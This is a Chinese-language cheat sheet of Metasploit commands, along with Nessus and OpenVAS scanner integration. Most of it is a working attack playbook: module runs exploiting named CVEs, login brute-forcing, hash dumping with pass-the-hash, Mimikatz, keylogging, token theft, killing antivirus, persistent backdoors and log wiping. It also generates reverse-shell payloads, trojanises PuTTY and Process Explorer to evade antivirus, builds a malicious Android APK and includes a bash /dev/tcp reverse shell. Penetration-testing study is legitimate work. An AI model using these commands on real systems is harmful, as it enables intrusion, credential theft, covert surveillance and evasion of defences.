漏洞利用技术
-
Metasploit框架的强大之处就是提供了大量的渗透测试模块和插件。模块按照不同用途可以分为7种类型,分别是Exploits(渗透攻击模块)、Auxiliary(辅助模块)、Post(后渗透攻击模块)、Payloads(攻击载荷模块)、Encoders(编码器模块)、Nops(空指令模块)和Evasion(规避模块)。
-
Nessus号称是世界上最流行的漏洞扫描程序,工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。实施的漏洞扫描包括:网络设备、虚拟主机、操作系统、数据库、Web应用程序、危害检测等。
load nessus # Metasploit载入Nessus桥插件 nessus_help # 查看Nessus桥插件支持的所有命令 nessus_connect username:password@address:8834 # 登录到Nessus服务器 nessus_policy_list # 查看服务器上所有已经定义的扫描策略 nessus_scan_new # 命令创建扫描任务 nessus_scan_launch <scan ID> # 启动扫描任务 nessus_scan_list # 查看扫描运行的状态 nessus_report_hosts <scan ID> # 查看其扫描报告 nessus_report_host_details <scan ID> <host ID> # 查看其中某台主机的漏洞信息 nessus_report_vulns <scan ID> # 查看具体的漏洞信息 vulns --rhosts 192.168.1.104 # 查看具体的漏洞信息
-
OpenVAS(开放式漏洞评估系统)是一个客户端/服务器架构,它常用来评估目标主机上的漏洞。OpenVAS是Nessus项目的一个分支,它提供的产品是完全免费的
apt-get update && apt-get install openvas* -y
。changeme -a <target> # 弱密码探查 openvas-setup # 初始化openvas库 openvasmd --user=admin --new-password=123.com # 初始化密码 openvas-check-setup # 检查安装完整性 netstat -anptul # 检查服务状态 # 设置外部访问 vi /usr/lib/systemd/system/greenbone-security-assistant.service [Service] Type=simple PIDFile=/var/run/gsad.pid ExecStart=/usr/sbin/gsad --foreground --listen=0.0.0.0 --port=9392 --mlisten=0.0.0.0 --allow-header-host=192.168.19.132 --mport=9390 vi /etc/default/openvas-manager MANAGER_ADDRESS=0.0.0.0 vi /etc/default/greenbone-security-assistant GSA_ADDRESS=0.0.0.0 MANAGER_ADDRESS=0.0.0.0 openvas-stop # 停止OpenVAS服务 openvas-start # 启动OpenVAS服务 https://127.0.0.1:9392/ # 登录:amdin:123.com unix-privesc-check [standard|detailed] # 检查linux错误配置:standard标准模式、detailed详细模式 # 手动查找漏洞信息 http://cve.mitre.org/data/refs/refmap/source-MS.html # CVE的管理网站地址为 https://technet.microsoft.com/en-us/security/bulletins # 微软漏洞官网地址 openvas-setup # 下载并更新库 openvasmd --user=admin --new-password=password # 修改密码 openvas-check-setup # 检查是否安装成功 netstat -ntlp # 查看监听的端口 openvas-start # 启动服务 https://127.0.0.1:9392 # 登录OpenVAS服务 openvas-setup # 重启服务 # Metasploit中远程调用OpenVAS服务 load openvas # 加载Openvas插件 openvas_help # 查看模块支持的所有命令 openvas_connect username password host port <ssl-confirm> # 命令登录到OpenVAS服务器 openvas_target_create <name> <hosts> <comment> # 创建扫描目标 openvas_config_list # 查看下扫描配置列表 openvas_task_create <name> <comment> <config_id> <target_id> # 创建扫描任务 openvas_task_start <id> # 启动扫描任务 openvas_task_list # 查看扫描任务的进度 openvas_report_list # 查看下扫描报告列表 openvas_format_list # 查看支持的扫描报告格式 openvas_report_download <ID> # 命令下载扫描报告
-
为了区分不同扫描任务,Metasploit提供了工作区。每个工作区都保存相关任务的各种信息。不同工作区之间的信息相互独立,避免数据混淆。所以,在进行渗透攻击前,用户需要准备不同的工作区,将扫描结果分开保存。
db_nmap -sP 192.168.59.0/24 # 扫描网络中存在的主机 db_import <filename> # 导入扫描报告 db_export -f <format> [filename] # 工作区所有的数据进行备份 analyze 192.168.59.131 # 对目标主机192.168.59.131进行预分析 # 工作区管理 workspace # 列出工作区 -h # 显示帮助信息 -a work1 # 添加指定名称的工作区 -r work1 work2 # 重命名工作区 -v # 显示工作区详细信 -d work1 # 删除指定名称的工作区 -D # 删除所有工作区 # 管理主机信息 hosts [ options ] [addr1 addr2 ...] # 列出主机信息 -a,--add # 添加主机 -d,--delete # 删除主机 -c<col1,col2> # 列出指定的列 -C<col1,col2> # 与-c选项含义相同,但是使用后,如果不重启数据库,以后使用只列出-C指定的列 -h,--help # 显示帮助信息 -u,--up # 只显示开放的主机 -o<file> # 将结果保存到CSV格式的文件中 -O<column> # 按照指定列排序 -R,--rhosts # 将搜索的结果作为RHOSTS选项的值 -S,--search # 指定字符串进行搜索 -i,--info # 修改主机info信息 -n,--name # 修改name列的信息 -m,--comment # 修改comment列的信息 -t,--tag # 为主机信息添加标签 # 管理模块操作 use <modulepath> # 加载模块 show options # 查看模块 set [option] [value] # 修改选项 setg [option] [value] # 全局选项 unset [option] # 重置选项 save # 保存配置 check # 查有效性 exploit # 实施攻击 edit # 编辑模块 back # 退出模块 use auxiliary/scanner/portscan/tcp # 使用模块 # 管理服务信息 services [options] [addr1 addr2 ...] # 列出服务信息 -a,--add # 添加服务 -d,--delete # 删除服务 -c<col1,col2> # 仅显示指定列的服务 -h,--help # 显示帮助信息 -s<name1,name2> # 指定服务名称进行搜索 -p<port1,port2> # 指定端口号进行搜索 -r<protocol> # 只显示基于TCP/UDP协议的服务 -u,--up # 只显示开启的服务 -o<file> # 将结果保存到CSV格式的文件中 -O<column> # 按照指定列排序 -R,--rhosts # 将搜索的结果作为RHOSTS选项的值 -S,--search # 指定字符串进行搜索 # 管理认证信息 creds [filter options] [address range] # 查看认证信息 add user:admin password:pass realm:workgroup # 添加认证信息,可添加的认证信息字段 user # 用户名 password # 密码 ntlm # NTLM哈希值 ssh-key # SSH-Key文件 hash # 不可重放哈希值 realm # 域 realm-type # 域的类型 -d # 删除全部的认证信息 -P,--password <regex> # 根据密码进行过滤 -p,--port <portspec> # 根据端口过滤 -s <svc names> # 根据服务过滤 -u,--user <regex> # 根据用户过滤 -t,--type <type> # 根据类型进行过滤 -O,--origins < origins > # 根据起源过滤 -o <file.csv> # 认证信息保存到文件中 -R # 为模块的RHOSTS进行赋值 # 管理战利品 loot <options> # 查看战利品 -a,--add # 添加地址列 -d,--delete # 删除所有列 -f,--file # 从文件中导入 -i,--info # 添加的info列的内容 -t<type1,type2> # 指定列的类型搜索 -S,--search # 指定搜索使用的关键词 -h,--help # 显示帮助信息 # 管理备注信息 notes [options] [addr range] # 查看备注信息 -a,--add # 添加新的备注信息 -d,--delete # 删除备注信息 -n,--note<data> # 为设置备注内容。其中,data表示数据 -t<type1,type2> # 搜索指定类型列的备注信息 -h,--help # 显示帮助信息 -R,--rhosts # 将搜索的结果作为RHOSTS选项的值 -S,--search # 指定字符串进行搜索 -o,--output # 将结果保存到CSV格式的文件中 --sort<field1,field2> # 字段排序 # 管理漏洞信息 vulns [options] [addr range] # 查看漏洞信息 -o<file> # 将输出信息保存到CSV格式文件中 -p,--port<portspec> # 显示指定端口的漏洞信息 -s<svc names> # 显示指定服务名称的漏洞信息 -R,--rhosts # 将搜索到的结果主机设置为RHOSTS的选项值 -S,--search # 指定字符串进行过滤 -i,--info # 显示info列的信息 -h,--help # 显示帮助信息 db_rebuild_cache # 重建数据缓存 msfconsole # 启动终端 show all # 查看模块的详细信息 # 搜索特定模块 search [word] app # 指定client和server攻击的模块 author # 通过模块作者名称进行查找 bid # 根据Bugtraq ID来查询模块 cve # 根据CVE ID来查询模块 edb # 根据Exploit-DB ID来查询模块 name # 根据名称来查询模块 osvdb # 根据OSVDB ID来查询模块 platform # 根据模块级别来查询,缩小查询范围 ref # 根据ref来查询模块 type # 根据类型来查询模块。如类型为exploit、auxiliary或post # 过滤结果 grep http search oracle -A<opt> # 显示一个匹配输出后的行 -B<opt> # 显示一个匹配输出前的行 -c # 仅显示一组匹配行 -h # 显示帮助信息 -i # 忽略实例 -k<opt> # 保留输出开始的行 -m<opt> # 匹配一个结果后停止 -s<opt> # 跳过尝试匹配前的输出结果 -v # 反向匹配 # 渗透攻击类模块(exploit) use exploit/multi/ssh/sshexec # multi/ssh/sshexec是一个渗透攻击类模块 info # 查看该模块的详细信息 set RHOSTS 192.168.1.106 # 设置目标主机 set PASSWORD msfadmin # 设置密码 set USERNAME msfadmin # 设置用户名 unset # 重新设置 setg # 全局变量设置 save # 命令保存 exploit # 实施攻击 # 辅助模块(auxiliar) use auxiliary/scanner/mysql/mysql_login # 选择mysql_login辅助模块,mysql登录爆破 set RHOSTS 192.168.1.102 set THREADS 10 set user_file /root/usernames.txt set pass_file /root/passwords.txt run # 攻击载荷(Payload) run post/linux/gather/enum_system # 使用enum_system后渗透模块获取目标主机的系统信息 use exploit/multi/ssh/sshexec # 通过linux/x86/shell/bind_tcp攻击载荷来获得与目标主机的Shell交互 set payload linux/x86/shell/bind_tcp # 加载攻击载荷 set RHOSTS 192.168.1.105 set PASSWORD 123456 exploit # IDS/IPS会检查数据包是否合规则,在攻击载荷生成时用到nops文件夹下的NOPs修改(nops) # 编码模块(Encoders) ./msfvenom -p windows/meterpreter/bind_tcp RHOST=192.168.1.104 --platform windows -a x86 -e x86/shikata_ga_nai -f exe > msf.exe # 使用x86/shikata_ga_nai编码创建攻击载荷 # 插件(Plugins) load # 查看加载插件的方法 load sqlmap # 加载SQLmap插件 help sqlmap # 查看该插件支持的所有命令 sqlmapapi -s -p 8775 # 需要启动sqlmapapi sqlmap_connect 127.0.0.1 # 连接到sqlmapapi sqlmap_new_task # 创建一个新的任务 sqlmap_start_task 1 'www.baidu.com' # 启动新建的任务 sqlmap_list_tasks # 查看任务列表 sqlmap_get_status 1 # 查看扫描状态 sqlmap_get_data 1 # 获取扫描的漏洞信息 sqlmap_get_log 1 # 查看扫描任务运行的日志信息 # 规避模块(Evasion),使用windows_defender_exe规避模块,生成一个Windows EXE文件来规避Windows Defender程序 use windows/windows_defender_exe show options run # 生成一个规避文件 # 模块扩展,导入第三方模块,渗透测试代码库网站(http://www.exploit-db.com/) cd /root/.msf4/modules mkdir -p exploits/window/logs/ mv /root/.msf4/modules/module.rb ./module.rb # 动态加载模块,临时使用和临时关闭 loadpath [modulespath] # 用来从一个路径中搜索并加载第三方模块 load [var=val var=val ...] # 加载模块 unload [module] # 卸载模块 jobs [option] # 查看任务 -K # 列出终端运行的所有任务 -h # 显示帮助信息 -i<opt> # 列出一个任务的详细信息 -k<opt> # 指定终端的任务名称 -l # 列出所有运行任务 -v # 显示更详细信息 kill <ID> # 结束任务
-
扩展功能,为了加强Metasploit的漏洞利用功能,Metasploit还提供了一些扩展模块和其他功能,如Meterpreter、Msfvenom和免杀功能。
# Meterpreter是Metasploit框架的一个扩展模块,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、权限提示、跳板攻击等。 # 捕获控制设备信息 # 捕获屏幕 screenshot # 捕获目标主机当前正在显示的屏幕 run sound_recorder # 录制目标主机中麦克风的声音,默认录制30秒的声音 # 获取键盘记录 run post/windows/capture/keylog_recorder # keylog_recorder模块来获取键盘记录信息 keyscan_start # 启动键盘输入 keyscan_dump # 捕获键盘输入 keyscan_stop # 停止捕获 # 提升权限 getuid # 查看获取到的权限等级 shell # 进入PowerShell exit # 退出PowerShell终端 getsystem # 提升权限 # 挖掘用户名和密码 run post/windows/gather/hashdump # 获取系统所有的用户名和密码哈希值 use exploit/windows/smb/psexec # 使用psexec模块实现哈希值传递 set payload windows/meterpreter/reverse_tcp # 选择攻击载荷 set LHOST 192.168.1.105 # 设置攻击主机地址 set LPORT 443 # 设置端口号 set RHOSTS 192.168.1.104 # 设置目标主机地址 set SMBUser Administrator # 指定用户名 set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 # 指定用户的密码哈希值 exploit # 破解纯文本密码 load mimikatz # 加载mimikatz模块 help # 查看mimikatz模块下有效的命令 msv # 使用msv命令恢复哈希密码 kerberos # 获取Kerberos(网络认证协议)信息 # 假冒令牌 ps # 使用ps命令列出当前运行的应用程序及运行这些应用的用户账号 steal_token <PID> # 盗取管理员用户的令牌 use incognito # 加载incognito模块 list_tokens -u # 列举所有的令牌 impersonate_token BENET \\domainadmin # 假冒域管理员身份 add_user abc password -h 192.168.1.104 # 此时用户可以以管理员身份进行一些操作 # 恢复目标主机删除的文件 background # 后台运行Meterprete会话 use post/windows/gather/forensics/ # 使用recovery_files模块 recovery_files show options set DRIVE E: set SESSION 1 run # 启动渗透攻击 set FILES txt # 选择恢复后缀名为.txt的文件 run # 通过跳板攻击其他机器,这里可以使用在scripts/meterpreter/目录中的Meterpreter外部脚本来实现 # 成功获取到了Meterpreter会话 run get_local_subnets # 查看目标系统上的子网 route add [IP] [make] [ID] # 将攻击会话放到后台运行,并且添加路由条目 background # 将会话放到后台,其会话ID为1 route add 192.168.1.0 255.255.255.0 1 # 添加路由条目 route print # 查看添加的路由条目 load auto_add_route # 自动添加路由 # 使用Meterpreter脚本 run [scriptname] run post/windows/manage/migrate migrate [PID] # 迁移进程 2.关闭杀毒软件 run killav # killav扩展脚本来停止相关进程 run hashdump # 获取系统密码哈希值 run packetrecorder -i 1 # 查看目标机上的所有流量 run scraper # 获取系统信息 sessions -i 1 # 激活Meterpreter会话 run persistence -X -i 50 -p 443 -r 192.168.1.104 # 创建持久后门 background # 使用multi/handler模块进行监听,等待目标主机反向连接到攻击主机 use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.105 set LPORT 443 exploit # 将命令行Shell升级为Meterpreter use exploit/multi/samba/usermap_script show options set RHOST 192.168.1.106 exploit -z sessions -u 1 # 将命令行Shell会话1升级为Meterpreter sessions sessions -i 2 sessions -i 1 irb # 清除踪迹 log = client.sys.eventlog.open('system') # 设置想要删除的日志 log=client.sys.eventlog.open('system') log=client.sys.eventlog.open('security') log=client.sys.eventlog.open('application') log=client.sys.eventlog.open('directory service') log=client.sys.eventlog.open('dns server') log=client.sys.eventlog.open('file replication service') log.clear # 清除日志 clearev # 清除日志 msfvenom [option] # MSF攻击载荷生成器 -p|--payload<payloadname> # 指定使用的payload攻击载荷 --payload-options # 列出Payload的标准选项 -l|--list<type> # 列出一个模块类型。可指定的模块类型包括payloads、encoders、nops和all -n|--nopsled<len> # 指定生成的攻击载荷长度 -f|--format<format> # 指定生成的攻击载荷格式 -e|--encoder<encoder> # 使用的编码方式 -a|--arch<arch> # 使用的架构 --platform<platform> # 使用的平台 -s|--space<len> # 生成攻击载荷的最大尺寸 -b|--bad-chars<strlist> # 指定需要规避的字符列表,如'\x00\xff' -i|--iterations<count> # 指定进行编码的次数 -c|--add-code<path> # 指定一个额外的win32 shellcode文件 -x|--template<path> # 指定一个自定义的可执行文件作为模板使用 -k|--keep # 配置攻击载荷在一个独立的线程中启动 -o|--out # 保存攻击载荷 -v|--var-name<name> # 指定用于某些输出格式的自定义变量名称 --smallest # 尽可能生成最小的攻击载荷 # 生成一个用于攻击Windows 7 sp1的Meterpreter攻击载荷,并利用shikata_ga_nai编码方式 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.105 LPORT=443 -f exe > payload.exe upload backdoor.exe use exploit/multi/handler # 选择用于反向连接的监听模块 set payload windows/meterpreter/reverse_tcp show options set LHOST 192.168.1.105 set LPORT 443 exploit sysinfo # 免杀技术 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.108 LPORT=443 -f raw | msfvenom -a x86 --platform win -e x86/alpha_upper -i 2 -f raw | msfvenom -a x86 --platform platform win -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x86 --platform win -e x86/countdown -i 5 -f exe -o /root/payload.exe # 多重编码 wget https://live.sysinternals.com/Files/ProcessExplorer.zip mkdir work unzip ProcessExplorer.zip -d work/ msfvenom -p windows/meterpreter/reverse_tcp -x work/procexp.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.108 LPORT=443 -o /root/backdoor.exe # 自定义可执行文件模板 wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe msfvenom -p windows/meterpreter/reverse_tcp -x /root/putty.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.108 LPORT=443 -k -o /root/putty_backdoor.exe # 隐秘启动一个攻击载荷 upx -5 payload.exe -q # 加壳软件
-
漏洞利用
#Windows系统 ## Microsoft Windows远程溢出漏洞——CVE-2012-0002 search CVE-2012-0002 use auxiliary/dos/windows/rdp/ms12_020_maxchannelids show options set RHOSTS 192.168.1.106 exploit ## MS11-003(CVE-2001-0036)漏洞 search MS11-003 use exploit/windows/browser/ms11_003_ie_css_import show options set SRVHOST 192.168.1.105 exploit sessions sessions -i 1 sysinfo ## MS03-026(CVE-2003-0352)漏洞 search CVE-2003-0352 use exploit/windows/dcerpc/ms03_026_dcom show options set RHOSTS 192.168.1.103 exploit ## IE浏览器的激光漏洞利用 use exploit/windows/browser/ms10_002_aurora set payload windows/meterpreter/reverse_tcp show options set SRVPORT 80 set URIPATH / set LHOST 192.168.1.108 set LPORT 443 exploit run migrate -f ## 浏览器自动攻击模块 search autopwn use auxiliary/server/browser_autopwn set payload windows/meterpreter/reverse_tcp show options set LHOST 192.168.1.108 set URIPATH / exploit sessions sessions -i 1 ## 利用AdobeReader漏洞——CVE-2010-1240 use exploit/windows/fileformat/adobe_pdf_embedded_exe show options exploit ## 扫描配置不当的Microsoft SQL Server search mssql_ping use auxiliary/scanner/mssql/mssql_ping show options set RHOSTS 192.168.1.103 set THREADS 255 run # Linux系统 ## 利用Samba服务usermap_script漏洞 search usermap_script use exploit/multi/samba/usermap_script show options set RHOSTS 192.168.1.102 exploit sessions ## IRC后台守护程序漏洞 search irc use exploit/unix/irc/unreal_ircd_3281_backdoor show options set RHOSTS 192.168.1.107 exploit ## Samba匿名共享目录可写入漏洞 use auxiliary/admin/smb/samba_symlink_traversal show options smbclient -L //192.168.1.102 set RHOSTS 192.168.1.102 set SMBSHARE tmp exploit smbclient //192.168.1.102/tmp ## 是否允许匿名用户登录 use auxiliary/scanner/ftp/anonymous show options set RHOSTS 192.168.1.101 run ## 获取目标主机的root权限 search vsftpd use exploit/unix/ftp/vsftpd_234_backdoor show options set RHOSTS 192.168.1.101 exploit ## 渗透攻击MySQL数据库 # 判断数据库是否允许外链 use auxiliary/scanner/mysql/mysql_version set RHOSTS 192.168.1.105 exploit # 实施暴力破解密码 use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.1.105 set PASS_FILE /root/passwords.txt set USERNAME root exploit # 枚举数据库信息 use auxiliary/admin/mysql/mysql_enum set RHOSTS 192.168.1.105 set USERNAME root set PASSWORD 123456 exploit # 导出Hash值并破解 use auxiliary/scanner/mysql/mysql_hashdump show options set RHOSTS 192.168.1.105 set USERNAME root set PASSWORD 123456 exploit loot use auxiliary/analyze/jtr_mysql_fast exploit # MySQL认证漏洞利用(CVE-2012-2122) use auxiliary/scanner/mysql/mysql_authbypass_hashdump show options set RHOSTS 192.168.1.105 exploit # 利用MOF提权 use exploit/windows/mysql/mysql_mof show options set RHOSTS 192.168.1.109 set USERNAME root set PASSWORD 123456 exploit # Android系统 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168. 1.108 LPORT=4444 R > /root/android.apk apt-get install zipalign keytool [option] -genkey # 在用户主目录中创建一个默认文件.keystore,还会产生一个mykey的别名。mykey中包含用户的公钥、私钥和证书。 -alias # 产生别名。 -keystore # 指定秘钥库的名称(产生的各类信息将不在.keystore文件中)。 -keyalg # 指定密钥的算法,如RSA、DSA。如果不指定的话,默认使用DSA。 -validity # 指定创建的证书有效期天数,默认为90天。 -keysize # 指定秘钥长度。 -storepass # 指定秘钥库的密码(获取keystore信息所需的密码)。 keypass # 指定别名条目的密码(私钥的密码)。 -dname # 指定证书拥有者信息。例如:"CN=名字与姓氏,OU=组织单位名称,O=组织名称,L=城市或区域名称,ST=州或省份名称,C=单位的两字母国家代码"。 -list # 显示密钥库中的证书信息。 -export # 将指定的证书导出到文件中。 -file # 指定导出到文件的文件名。 -delete # 删除密钥库中的某个条目。 -printcert # 查看导出的证书信息。 -keypasswd # 修改密钥库中指定的条目口令。 -storepasswd # 修改keystore口令。 -import # 将已签名的数字证书导入密钥库。 keytool -genkey -v -keystore /root/key.keystore -alias android -keyalg RSA -keysize 2048 -validity 365 -storepass 123456 -dname "CN= Android,OU=Google,O=Google,L=IL,ST=NY,C=US" jarsigner [option] jarfilename # 使用JARsigner工具签名APK -verbose # 签名/验证时输出详细信息 -sigalg # 签名算法的名称 -digestalg # 摘要算法的名称 -keystore # 秘钥库位置 jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /root/key.keystore /root/android.apk android jarsigner -verify -verbose -certs /root/android.apk zipalign -v 4 [APKfile] [new APKfile] # 使用zipalign验证该APK文件 zipalign -v 4 /root/android.apk /root/pentest.apk # 攻击载荷文件APK已经准备完成。接下来将该APK文件发送到目标Android系统,然后启动Metasploit监听器,等待与目标主机的连接。具体方法如下: use exploit/multi/handler set payload android/meterpreter/reverse_tcp show options set LHOST 192.168.1.108 # 设置监听主机地址 exploit # 启动监听 sysinfo # 查看目标系统信息 # 网站 # 渗透攻击Tomcat服务 # 利用tomcat_mgr_login模块,暴力破解目标主机(Metasploitable 2)下Tomcat服务的用户名和密码 use auxiliary/scanner/http/tomcat_mgr_login show options set RHOSTS 192.168.1.107 set RPORT 8180 exploit # 利用tomcat_mgr_deploy模块做进一步渗透 search tomcat_mgr_deploy use exploit/multi/http/tomcat_mgr_deploy show options set RHOSTS 192.168.1.107 set USERNAME tomcat set PASSWORD tomcat set RPORT 8180 exploit # CVE-2010-0425漏洞 search CVE-2010-0425 use auxiliary/dos/http/apache_mod_isapi show options set RHOSTS 192.168.1.102 exploit # 探测网站是否启用WebDAV use auxiliary/scanner/http/webdav_scanner show options set RHOSTS 192.168.1.0/24 exploit # Oracle Java SE远程拒绝服务漏洞(CVE-2012-0507) search CVE-2012-0507 use exploit/multi/browser/java_atomicreferencearray show options exploit # Java零日漏洞(CVE-2012-4681) use exploit/multi/browser/java_jre17_exec show options show targets set target 1 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.108 set SRVHOST 192.168.1.108 exploit # 端口扫描 search portscan use auxiliary/scanner/portscan/syn show options set RHOSTS 192.168.1.105 set THREADS 50 run # 服务版本扫描 search ftp_version use auxiliary/scanner/ftp/ftp_version show options set RHOSTS 192.168.1.101 run # 扫描服务弱口令 search postgresql use auxiliary/scanner/postgres/postgres_login show options set RHOSTS 192.168.1.101 exploit
-
辅助功能
connect [option] # 连接主机 -C # 对于EOL序列尝试使用CRLF -p<opt> # 指定源端口 -s<opt> # 指定源地址 -c<opt> # 指定使用的Comm端口 -h # 显示帮助信息 -i<opt> # 发送一个文件的内容 -p<opt> # 列出使用的代理 -s # 使用SSL连接 -u # 切换到一个UDP套接字 -w<opt> # 指定连接超时值 -z # 仅尝试连接 resource path1 [path2...] # 批处理 resource version.rc # 将version命令保存到version.rc文件中。然后可以通过resource命令来加载该文件 # 在资源文件中设置攻击目标和攻击载荷等参数 vim autoexploit.rc use exploit/windows/smb/ms08_067_netapi set RHOST 192.168.1.109 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.105 exploit resource /root/autoexploit.rc ./msfconsole -r /root/autoexploit.rcbash -c 'bash -i >&/dev/tcp/127.0.0.1/4444 2>&1 0>&1' sessions [id] # 会话管理 -C<opt> # 运行一个Meterpreter命令 -K # 保持所有终端会话 -c<opt> # 运行一个命令 -h # 显示帮助信息 -i<opt> # 进入指定会话ID的交互模式 -k<opt> # 结束指定会话的ID -l # 列出所有活跃会话 -q # 安静模式 -r # 重置会话的缓冲 -s<opt> # 运行一个脚本 -t<opt> # 设置一个响应超时值,默认是15 -u<opt> # 升级一个Shell到Meterpreter会话 -v # 列出会话详细信息 -x # 显示扩展信息 route[add/remove] subnet netmask [comm/sid] # 使用路由 route [add/remove] cidr [comm/sid] route [get] route [flush] route[print] add # 添加一个路由 remove # 删除一个路由。del是一个别名 flush # 删除所有路由 get # 显示指定目标的路由 print # 显示所有活动路由 # Nessus是一款知名的漏洞扫描工具。Metasploit提供了Nessus插件,可以直接调用Nessus,方便两个工具的衔接。用户在Metasploit中加载该插件后,则可以使用该插件提供的命令来连接Nessus服务器,并以远程方式来实施漏洞扫描。本附录将详细介绍Nessus插件的使用。 # 使用Nessus服务器 nessus_connect username:password@serveraddress:8834 # 连接服务器 # 快速连接 nessus_save # 保存当前的登录认证信息 nessus_connect # 快速连接到Nessus服务器 nessus_logout # 退出登录 # 查看服务器状态 nessus_server_properties # 显示Nessus服务器信息 nessus_server_status # 检查服务器状态 nessus_admin # 检查用户是否为管理员 nessus_folder_list # 列出服务器所有配置目录 nessus_scanner_list # 列出所有扫描器 # 使用策略模版 nessus_template_list scan # 列出扫描模板 nessus_template_list policy # 列出所有策略模板 nessus_policy_list -S searchterm # 查看用户创建的所有策略模板 nessus_policy_del <policy ID> # 删除策略模版 nessus_policy_list # 管理扫描任务 nessus_scan_list -S searchterm # 列出所有扫描任务 scan_details <scan ID> <category> -S searchterm # 查看指定任务的详细信息 nessus_scan_details 6 info # 查看扫描ID为6的扫描任务的详细信息 nessus_scan_details 6 vulnerabilities # 查看扫描任务的漏洞详细信息 nessus_scan_new <UUID of Policy> <Scan name> <Description> <Targets> # 创建新任务 nessus_db_scan <policy ID> <scan name> <scan description> # 基于db_hosts表创建扫描任务 nessus_db_scan_workspace <policy ID> <scan name> <scan description> <workspace> # 基于指定工作区的db_host表创建扫描任务 # 运行扫描任务 nessus_scan_launch <scan ID> # 启动任务 nessus_scan_pause <scan id> # 暂停任务 nessus_scan_pause_all # 暂停所有任务 nessus_scan_stop <scan id> # 停止任务 nessus_scan_stop_all # 停止所有扫描任务 nessus_scan_list # 查看扫描任务列表 nessus_scan_resume <scan id> # 恢复暂停的任务 nessus_scan_resume_all # 恢复所有暂停的任务 # 查看报告 nessus_scan_export <scan ID> <export format> # 生成扫描报告 nessus_scan_export_status <scan ID> <file ID> # 查看导出任务的状态 # 分析报告 nessus_report_hosts <scan ID> -S searchterm # 获取主机列表 nessus_report_vulns <scan ID> # 获取漏洞列表 nessus_report_host_details <scan ID> <host ID> # 获取指定主机的详细信息 nessus_db_import <scan ID> # 导入报告 # 管理插件 nessus_family_list -S searchterm # 查看插件家族 nessus_plugin_list <Family ID> # 查看插件 nessus_plugin_details <Plugin ID> # 列出插件详细信息 # 管理用户 nessus_user_list # 查看现有用户 nessus_user_passwd <User ID> <New Password> # 修改用户密码 nessus_user_add <username> <password> <permissions> <type> # 添加用户,32、64和128;local或LDAP nessus_user_del <User ID> # 删除用户 # 使用OpenVAS服务器 openvas_connect admin 123456 127.0.0.1 9390 ok # 连接服务器 # 查看服务器信息 openvas_version # 查看版本 openvas_config_list # 查看扫描配置 openvas_disconnect # 断开连接 # 管理扫描目标 openvas_target_create <name> <hosts> <comment> # 创建扫描目标 openvas_target_list # 查看目标列表 openvas_target_delete <target_id> # 删除扫描目标 # 管理扫描任务 openvas_task_create <name> <comment> <config_id> <target_id># 创建扫描任务 openvas_task_start <id> # 启动扫描任务 openvas_task_stop <id> # 停止扫描任务 openvas_task_list # 查看其状态 openvas_task_pause <id> # 暂停扫描任务 openvas_task_resume <id> # 恢复扫描任务 openvas_task_resume_or_start <id> # 恢复或启动扫描任务 openvas_task_delete <id> ok # 删除任务 # 管理扫描报告 openvas_format_list # 列出可用的报告格式 openvas_report_list # 列出有效的报告 openvas_report_download <report_id> <format_id> <path> <report_name> # 下载指定的报告 openvas_report_import <report_id> <format_id> # 导入报告 openvas_report_delete <id> # 删除报告